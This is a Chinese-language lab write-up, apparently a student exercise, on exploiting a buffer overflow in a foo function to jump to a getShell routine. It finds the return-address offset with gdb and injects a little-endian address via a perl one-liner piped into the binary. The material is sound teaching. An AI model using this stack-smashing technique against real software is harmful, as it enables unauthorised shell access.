利用foo函数的Bof漏洞攻击:构造攻击字符串
利用foo函数的Bof漏洞攻击:构造攻击字符串
一、基础知识储备
objdump
反汇编指令、gdb
函数调试运行、Perl
语言、|
管道符
二、实验步骤
1. 通过反汇编了解程序功能及代码
①反汇编查看文件内容
②可以知道getShell
函数地址为0804847d
③可知foo
函数执行完成之后,系统会调用的下一条指令的地址为80484ba
,此地址为返回地址
我们要做的就是通过foo
函数的Bof
漏洞输入一段设计好的字符串覆盖掉80484ba
,使得80484ba
的值为0804847d
,这样就会执行getshell
函数。
2. 确定输入的哪几个字符会覆盖返回地址
2.1调试运行程序 gdb
通过输入gdb 20154305
指令调试程序,再输入r
运行程序
2.2 输入一串字符大致确定覆盖位置
④程序运行后我们输入字符串111111112222222233333333444444445555555566666666
⑤程序出现分段错误,0x35353535 in ?? ()
,意思是这个地址的指令错误
此时我们通过info r
查看寄存器信息
⑥显示出eip
指令寄存器存储的地址为0x35353535
,此ASCII值代表5555
⑦也可以通过info r eip
指令直接显示指令寄存器存储的地址。
5555
则可以知道我们输入的字符串从55555555
开始溢出,但是还不确定是哪四个5
2.3 进一步确定覆盖位置
继续调试运行20154305
文件
⑧输入字符串`1111111122222222333333334444444412345678'产生溢出错误
⑨查看指令寄存器eip
内的值为0x34333231
,表示4321
。
由此可知,我们输入的字符串1111111122222222333333334444444412345678
中的1234
覆盖了返回地址的值
所以接下来我们需要修改1234
的值为0804847d
进行覆盖
3. 构造输入字符串
3.1 确定字符串输入顺序
就是需要输入11111111222222223333333344444444\x08\x04\x84\x7d
,还是输入11111111222222223333333344444444\x7d\x84\x04\x08
由⑨可以知道小字节优先,应该输入11111111222222223333333344444444\x7d\x84\x04\x08
3.2 构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08
这样的16进制值,所以先生成包括这样字符串的一个文件。
键入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
\x0a
表示回车。
可以通过xxd
查看文件十六进制格式的内容。
3.3 然后将input的输入,通过管道符“|”,作为20154305的输入,覆盖返回地址
(cat input; cat) | ./20154305
此时我们就可以输入Shell
指令了
箭头11
的ls
就是Shell
指令。
到此通过利用foo的Bof漏洞攻击已经完成。
三、实验总结
利用缓冲区溢出的漏洞攻击比较难的地方是如何确定输入的哪些字符串会覆盖返回地址,以及如何通过管道输入,有些新的知识需要我这个小白消化理解。
利用foo函数的Bof漏洞攻击:构造攻击字符串的更多相关文章
- DedeCMS V5.7sp2最新版本parse_str函数SQL注入漏洞
织梦dedecms,在整个互联网中许多企业网站,个人网站,优化网站都在使用dede作为整个网站的开发架构,dedecms采用php+mysql数据库的架构来承载整个网站的运行与用户的访问,首页以及栏目 ...
- 学习xss模拟构造攻击(第一篇)
本文作者:i春秋签约作家——rosectow 0×00前言 XSS又名叫CSS全程(cross site scriptting),中文名跨站脚本攻击,目前网站的常见漏洞之一,它的危害没有像上传漏洞,s ...
- PHP ‘asn1_time_to_time_t’函数内存损坏漏洞
漏洞名称: PHP ‘asn1_time_to_time_t’函数内存损坏漏洞 CNNVD编号: CNNVD-201312-348 发布时间: 2013-12-18 更新时间: 2013-12-18 ...
- Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞
漏洞名称: Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201312-169 发布时间: 2013-12-12 更新时间 ...
- Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-423 发布时间: 2013-11-29 更新时间: 201 ...
- Linux kernel ‘aac_send_raw_srb’函数输入验证漏洞
漏洞名称: Linux kernel ‘aac_send_raw_srb’函数输入验证漏洞 CNNVD编号: CNNVD-201311-422 发布时间: 2013-11-29 更新时间: 2013- ...
- Linux kernel ‘lbs_debugfs_write’函数数字错误漏洞
漏洞名称: Linux kernel ‘lbs_debugfs_write’函数数字错误漏洞 CNNVD编号: CNNVD-201311-421 发布时间: 2013-11-29 更新时间: 2013 ...
- Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-392 发布时间: 2013-11-29 更新 ...
- Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞
漏洞名称: Linux kernel ‘uio_mmap_physical’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-154 发布时间: 2013-11-13 更新时间: 201 ...
随机推荐
- 利用SharpZipLib进行字符串的压缩和解压缩
http://www.izhangheng.com/sharpziplib-string-compression-decompression/ 今天搞了一晚上压缩和解压缩问题,java压缩的字符串,用 ...
- day40数据库之表的相关操作
数据库之表的相关操作1.表的操作: 1.创建表的语法: create table 表名( id int(10) primary key auto_inc ...
- Django之Auth模块 实现登录,退出,自带session 与认证功能的一个重要的模块
Auth模板 1. 什么是Auth模块,有什么用? django的auth的模块的使用: auth 是集合注册,登录,注销,session 多个功能集合在一起的模块 2. 使用Auth组件的默认aut ...
- 触发full gc的条件
1.调用System.gc 2.老年代空间不足 3.永生区空间不足 4.CMS GC时出现promotion failed和concurrent mode failure 5.统计得到的Minor G ...
- 1.MySQL基础
1.创建一个数据库: create database db_test; 2.创建一个表: MySQL [mysql]> use db_test; Database changed MySQL [ ...
- 微信小程序实现计算器功能
page { height:100%;} .calculator { width: 100%; height: 100vh; border:solid 1px; background: rgb(238 ...
- Linux-vim文本编辑器
[Vim文本编辑器] vim的三种模式:一般模式.编辑模式.命令模式. * 一般模式: 当你vim filename 编辑一个文件时,一进入该文件就是一般模式了.在这个模式下,你可以做的操作有,上下移 ...
- ADC采样间隔问题+TRGO作为ADC的触发源头
为了控制采样时间,可以使用一个定时器的TRGO(定时器里每次发生更新事件时会有这个信号产生)作为定时器的外部触发. 从定时器框图可以看出,TRGO为TIMx的一个输出.不过这个输出是内部使用的. vo ...
- servlet 最大线程数探索笔记
servlet默认是单例模式的,所以是单例多线程的.如果实现了singleservlet是可以多个servlet实例,下面是一个servlet的请求生命周期 1 客户端请求该 Servlet:加载 S ...
- tomcat/Java指定加载jar包的路径
背景:部署的web站点,应用默认加载工程的/webapps/工程名/WEB-INF/lib下的jar包 但是我需要提供一个和web工程没关系的的jar包管理目录 解决方法: 执行java方法时 ...